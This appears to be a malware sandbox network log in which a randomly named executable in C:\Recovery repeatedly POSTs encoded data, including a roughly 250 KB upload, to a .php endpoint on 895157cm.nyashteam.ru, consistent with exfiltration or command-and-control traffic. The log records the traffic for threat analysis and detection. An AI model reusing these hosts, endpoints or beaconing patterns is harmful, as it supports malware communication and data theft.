Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:41.872383118 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:42.228346109 CET	2292	OUT	Data Raw: 59 58 43 5a 5f 59 50 5f 54 5d 59 5a 55 5b 57 53 56 50 5c 5b 52 50 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXCZ_YP_T]YZU[WSVP\[RP[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!B>&\>,#(>/)<51&)*Z(=P? </"32'[$.Y!/
Dec 21, 2024 11:07:42.957850933 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:43.196751118 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jBVLadDEk63i4gHB%2FAo6cWm1mcSPDuzF4yAiF6I72l5sUl4PUzi1ZYRGSC5JN%2BM0VK%2B35nAjUM4%2FAe9GQWti5QZwTFBL6tOL7kwC8VrYZDwkPn3Vij1IgGe8tGjbBeOH43NCBOBsf4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711147ded0f37-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3185&min_rtt=1538&rtt_var=3870&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=99225&cwnd=138&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:43.442939997 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2288 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:43.608218908 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:43.962712049 CET	1732	OUT	Data Raw: 59 52 43 59 5f 5d 55 5e 54 5d 59 5a 55 5a 57 51 56 5f 5c 5d 52 56 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRCY_]U^T]YZUZWQV_\]RV[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)=><((>+/1%"));Z<>* 7+] "+81'[$.Y!+
Dec 21, 2024 11:07:44.694237947 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:44.935355902 CET	955	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MPnOKlNQw3wnDDxobEZUO70PFFutELAAFaB2vXstk0N5g8l18skzeUDcoY1sUEhd4TSSkheYgW7zLxVzYAgZZP%2FpjoyvC4iq6z2jFkP0KYIGUpr%2Bq1y6r1ei5LyomjWj8Id7jVXLAXY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57111f5cf580dc-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3010&min_rtt=1600&rtt_var=3420&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=113345&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 3a 02 26 2b 2a 59 2a 29 09 5f 28 2c 00 0d 3c 05 22 5d 2c 22 0b 5c 25 30 3c 5f 2c 02 3a 09 3f 0a 31 5a 3f 03 02 54 3c 19 27 11 2a 02 2e 58 03 11 24 13 21 14 0d 1d 28 3b 31 1d 3a 01 21 5a 20 2d 06 04 2e 16 3d 50 25 10 39 0e 36 5c 2f 56 3b 08 23 0c 2d 29 33 14 26 51 33 57 31 04 2e 53 0c 16 22 58 29 13 3d 58 31 11 2a 0f 30 27 07 0a 36 25 28 1b 36 38 38 57 25 3c 08 58 26 3e 24 54 29 20 00 0c 2b 59 32 40 3f 04 00 0b 28 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:&+Y)_(,<"],"\%0<_,:?1Z?T<'.X$!(;1:!Z -.=P%96\/V;#-)3&Q3W1.S"X)=X10'6%(688W%<X&>$T) +Y2@?(+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:43.757149935 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:44.103436947 CET	2292	OUT	Data Raw: 59 5a 46 5c 5a 5b 50 5f 54 5d 59 5a 55 5b 57 5f 56 5b 5c 5f 52 51 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZF\Z[P_T]YZU[W_V[\_RQ[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!@X+,+>>@)/=Y28>)^)-%P*#3?( ^#+$%='[$.Y!/
Dec 21, 2024 11:07:44.853640079 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:45.091305971 CET	813	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7SOSrOhFg0LJbGfQmba5w%2BsYFeWCPjBQngPMJys9Zq3jKtmWgTbfpQl%2FI3Y566dob3xw7ElfDJKQDPxJEWT0yuXiG%2FIWOi6mG46vFzG3Ky4cHIc%2FS0mLXCyta9%2FCAtXrXJju%2Bh6jg5o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711204b558cda-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=5768&min_rtt=1951&rtt_var=8366&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=44939&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:45.346657038 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:45.697122097 CET	2292	OUT	Data Raw: 5c 5c 43 5b 5f 5d 50 5f 54 5d 59 5a 55 50 57 5e 56 5a 5c 5e 52 51 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \\C[_]P_T]YZUPW^VZ\^RQ[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=[!?<??-#D+/-&8=P>)$).9T?0++,6842'[$.Y!
Dec 21, 2024 11:07:46.432185888 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:46.669989109 CET	812	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JGZr%2BpPXc6Ef9jzunThpKIM4%2Buvx%2BRypR0WcPkv2pDQl9uDfL453anxNwh0dSKcPe%2BUI6rqsoUZO7SF3bFxJBlbE3%2FU42XDeg9Z0tL1AWyTRqIRrqtKYSQ1VZfY8p7C30kGexjgHusY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57112a3d6c7cfa-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8718&min_rtt=1906&rtt_var=14339&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=25885&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:46.908142090 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2288 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:47.259641886 CET	2288	OUT	Data Raw: 59 58 43 5b 5f 5c 50 5b 54 5d 59 5a 55 58 57 52 56 50 5c 5d 52 50 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXC[_\P[T]YZUXWRVP\]RP[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!>*^<<.?<$;"=0).=U?++"#U2='[$.Y!3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:47.555655003 CET	305	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 249736 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:47.900326014 CET	12360	OUT	Data Raw: 59 5f 46 58 5a 57 50 52 54 5d 59 5a 55 51 57 51 56 5d 5c 59 52 5e 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y_FXZWPRT]YZUQWQV]\YR^[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!B>6<,W<.E)/6%+9>X+>( 3?;<_"^<'='[$.Y!
Dec 21, 2024 11:07:48.020412922 CET	2472	OUT	Data Raw: 0c 2e 29 1f 0c 29 23 57 2f 1c 50 12 3b 5d 53 1b 32 36 02 53 24 38 2e 12 0d 2c 18 12 34 2c 22 19 3e 23 00 33 25 36 21 10 35 1c 15 0b 0c 16 37 2b 39 03 3a 58 27 29 1d 29 07 32 36 22 01 33 1b 3c 3a 5f 39 19 32 04 3d 0f 36 02 00 3e 3b 0b 3c 3f 3e 58 Data Ascii: .))#W/P;]S26S$8.,4,">#3%6!57+9:X'))26"3<:_92=6>;<?>X$>^+(&0"V6*QR0Y;'-&B?=.(Y/U%:1];[(2107"#\8$2)<'=/0)&Y89]%!<;X)_>+81+<"5%<._38?>) ]?.?4$R!054T6\^[:6
Dec 21, 2024 11:07:48.020463943 CET	2472	OUT	Data Raw: 3c 23 34 32 0f 2a 06 20 32 24 52 3c 3b 0a 3a 14 24 32 26 2f 33 39 0b 03 29 17 24 3d 04 2d 10 1c 04 04 35 1d 00 0b 1c 24 30 20 23 3f 34 3c 26 16 12 22 0f 12 32 05 2f 1e 3c 52 24 09 00 05 2a 14 29 2f 27 19 0f 04 0a 1d 02 01 36 17 34 00 3e 03 08 31 Data Ascii: <#42* 2$R<;:$2&/39)$=-5$0 #?4<&"2/<R$)/'64>1((7]/W"<.."%;5=+<5%5R[=\'=.6'$-#>^V,1;=;U4#+?.A(:")52-"$7$.^"5>S>;6!=<.(+S/=<.!',3/.(+0')&(Z])9,<&+2?7(\"/K
Dec 21, 2024 11:07:48.020564079 CET	2472	OUT	Data Raw: 0b 3e 1e 34 39 1c 04 52 26 3b 1c 3a 23 33 27 10 07 01 22 0a 30 28 21 0d 0a 59 24 04 3b 06 3a 36 3b 5a 22 43 07 58 17 3e 22 2c 2f 28 3c 00 24 1e 35 2f 0b 1a 39 38 2a 28 30 04 09 5f 07 2d 2e 3c 07 3c 09 54 30 29 09 39 38 01 4b 34 3b 2d 1a 2b 3c 2d Data Ascii: >49R&;:#3'"0(!Y$;:6;Z"CX>",/(<$5/98(0_-.<<T0)98K4;-+<-#Y46:=4R\#_3&0U==X<)!%580Z>(^/V!?#8Z6Y "?<;0+6($5Z281926-7X/^5"/#";_#4'15$+& U(56%][0.9%->>&6'</T<&=/'46Y.+Y
Dec 21, 2024 11:07:48.020591021 CET	2472	OUT	Data Raw: 3a 2d 06 28 2e 3b 1c 56 09 3f 5a 35 22 03 09 1d 03 1f 05 11 3b 3a 56 1e 26 08 5f 24 09 28 35 26 3b 5f 31 05 31 3d 0f 1a 27 2f 35 11 3f 0d 04 57 3c 1f 2f 11 0c 3b 37 13 30 5b 03 32 0c 07 20 53 34 0e 36 0c 28 2e 13 2a 26 38 39 57 07 05 07 36 29 3e Data Ascii: :-(.;V?Z5";:V&_$(5&;_11='/5?W</;70[2 S46(.&89W6)>26088#.41%)T;"?(6+U="3>"<[Y.>#!8Z-$62<&(>!9_$+2++<T29,]'^ ):+82X1@>28[;](191,9[2\$()[7XP0*2$3#,XX >;1S">2-$
Dec 21, 2024 11:07:48.020652056 CET	2472	OUT	Data Raw: 0a 3c 37 1a 2c 43 10 58 32 3c 2c 1e 39 01 02 3e 33 24 2d 5b 3f 21 2e 03 21 59 14 27 33 5e 36 5b 28 3a 1e 38 04 2f 10 57 00 05 2a 14 2f 31 59 37 38 54 3b 1e 2c 20 04 09 20 0b 32 23 32 3d 01 26 20 34 15 1e 3e 3e 29 1c 37 59 01 31 27 5d 09 10 07 5e Data Ascii: <7,CX2<,9>3$-[?!.!Y'3^6[(:8/W/1Y78T;, 2#2=& 4>>)7Y1']^5&>Y]''<R9(6;:, :U3<R6<Y=X>%$=#!CV8#'2Z>$U3<>(&-X.528,<+"A>'#0S(!$=T'?<!=\/#[4"3.:Y(1.1=7(84>"1+
Dec 21, 2024 11:07:48.020762920 CET	4944	OUT	Data Raw: 29 04 0c 5f 03 26 53 5b 3e 5b 5a 5c 3a 36 56 11 26 34 1c 2c 22 30 3f 10 28 5c 18 53 36 5f 29 11 0d 3f 20 2f 35 3c 0f 17 15 3c 26 3a 2a 31 36 5f 10 05 3f 29 22 32 3f 45 28 12 3e 03 3a 01 54 55 05 5e 02 5d 33 2e 03 1d 06 22 0d 34 06 02 0a 14 22 3b Data Ascii: )_&S[>[Z\:6V&4,"0?(\S6_)? /5<<&:16_?)"2?E(>:TU^]3."4";Q;+.'X4Y(Q%+Z06:3/&9>Z"38SY=(0/6 )>.[!WHX/Z&6%U[?+6=,*0Z_29:4;UT69[!9+'>=6(U714_ 2%/+!.Z!5>:<Y2!P-(V:$7>)Z83T4U
Dec 21, 2024 11:07:48.020925045 CET	4944	OUT	Data Raw: 3b 07 16 22 23 5d 37 5e 3e 00 37 36 36 40 29 5d 26 3d 34 12 0f 07 3c 2f 00 1f 3d 04 33 0a 3a 26 0f 29 49 19 27 3a 56 1f 33 03 06 26 3f 04 14 2d 01 2d 39 5c 2a 56 39 5c 21 56 2b 3c 33 04 36 09 3e 32 3a 02 36 04 2c 57 22 27 0a 03 32 11 2a 1c 32 2f Data Ascii: ;"#]7^>766@)]&=4</=3:&)I':V3&?--9\V9\!V+<36>2:6,W"'22/\(=^,$0;Q:;,7_T<,W!:<">)]>=$<%94>Y<36R%+%"8S#^P3Z/"<32=F(^06-"8!1[ !)1/"6Z?92$(+?Z[9=7*;<=\"(3C<>0:<
Dec 21, 2024 11:07:48.086055994 CET	2472	OUT	Data Raw: 03 3e 3b 12 35 3b 5f 1f 04 39 2a 34 02 2a 08 18 0e 13 28 07 00 28 00 17 3b 2d 39 30 0d 05 38 14 3b 09 0d 1e 38 17 28 3a 27 24 33 1e 3d 3b 29 08 0d 04 3e 1e 03 2c 00 3a 0c 01 29 1e 09 24 1b 2b 0d 1f 23 2e 20 2b 2b 39 25 3d 1b 1f 08 3c 3b 07 03 0a Data Ascii: >;5;_94((;-908;8(:'$3=;)>,:)$+#. ++9%=<;U>>)663=4>;2]2/ !A!:#!/54W3?89->61 ''%";(&Y>"2Z)2&60_'9)(R<#(^=C%/$$],^76:W-_'(<]2[6;?]#6?8"734[2,-T< &
Dec 21, 2024 11:07:48.140773058 CET	4944	OUT	Data Raw: 01 31 0d 3c 01 5f 2b 22 3f 5e 20 17 3c 5e 37 5d 3e 01 01 2b 31 0b 22 06 0a 5a 34 0e 24 5f 0e 0d 06 39 03 5d 0b 32 18 1c 27 5b 3e 3e 3f 28 1b 1e 35 06 5b 5b 33 30 32 25 34 02 2d 14 37 33 0c 2b 0b 0e 49 13 2c 03 2a 12 13 1d 00 13 29 5b 05 2c 12 35 Data Ascii: 1<_+"?^ <^7]>+1"Z4$_9]2'[>>?(5[[302%4-73+I,)[,5\)!4U8\2!4+Y%<?04/]<9W=?U32\,Y1_!&820<Q1209+#5/Q";==&??1&0,+:!R+V)=?83>9?']))\"1X(Y<3>.:)2,*_=#V"<<X
Dec 21, 2024 11:07:48.640239000 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:50.396559000 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wtHWUr0prmWXGfvJPgppPGEFg1RP1VwhDjr8BO89jJiFlNzfAVFYRVXql23oaOkTu6PXO9sFQiO0h6fjr6yWY0GMUwBj6kbIVdpV3xItN729q1pKw5PGlmPDZ1duHcIJFD3%2BMFxZfSs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571137f97743dc-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3035&min_rtt=1577&rtt_var=3509&sent=88&recv=256&lost=0&retrans=0&sent_bytes=25&recv_bytes=250041&delivery_rate=110213&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0
Dec 21, 2024 11:07:50.397170067 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue
Dec 21, 2024 11:07:50.711101055 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:51.175580025 CET	960	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ANTsj9SxXwWY7LTTewfmnnI02vExvKiy75aal9OWmQMSdr8vg9Tyoaue0170JobZopc6z2C2C1ARLY0ABnkKhw57rN7%2FIpKuhtYOu1Vm0ItrrZlv90xWr64rhH0JoUShSqJU45X1sXE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571144f90843dc-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3973&min_rtt=1576&rtt_var=4463&sent=92&recv=261&lost=0&retrans=0&sent_bytes=859&recv_bytes=252052&delivery_rate=1791411&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 10 33 38 32 58 3d 29 3f 10 29 3c 03 54 2b 3c 3a 5f 2c 54 32 03 25 30 34 1c 2c 12 29 19 3e 33 21 59 28 5b 38 54 28 19 24 01 3e 38 2e 58 03 11 27 07 22 39 34 06 29 38 08 0a 2e 01 35 17 37 2d 24 05 3a 5e 2e 09 25 10 0b 0e 36 5c 33 55 3b 31 3c 54 2d 39 0a 06 32 24 20 0f 26 2e 2e 53 0c 16 22 5d 29 3d 29 5a 27 3c 21 56 30 0e 25 0d 36 08 30 57 20 28 0e 1b 33 5a 2e 10 24 3e 0e 1c 2b 56 25 55 3c 06 21 1d 3c 04 39 14 3f 11 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989382X=)?)<T+<:_,T2%04,)>3!Y([8T($>8.X'"94)8.57-$:^.%6\3U;1<T-92$ &..S"])=)Z'<!V0%60W (3Z.$>+V%U<!<9?&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:47.673227072 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:48.025295019 CET	2292	OUT	Data Raw: 59 5c 43 5e 5a 5c 55 5f 54 5d 59 5a 55 5f 57 51 56 50 5c 55 52 5f 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y\C^Z\U_T]YZU_WQVP\UR_[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=[.^?(X?E("26) ?(0+;<5^'2'[$.Y!
Dec 21, 2024 11:07:48.763365030 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:49.000579119 CET	810	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BYFhU9K1Sh%2Bnr2qxW32eEMNQbTbB8YqOlsAa6LD1zn8OW28X3QKDO1%2FXzVB2fsj2EK9SIdfrrCUiUz0wRXEEWtKuyuNomj4yGqdz8QRsMUrgXV4YPX%2FTCQ5Etn6sfMCUG62kc1Qj2o8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571138bb4e439f-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8464&min_rtt=1561&rtt_var=14392&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=25708&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
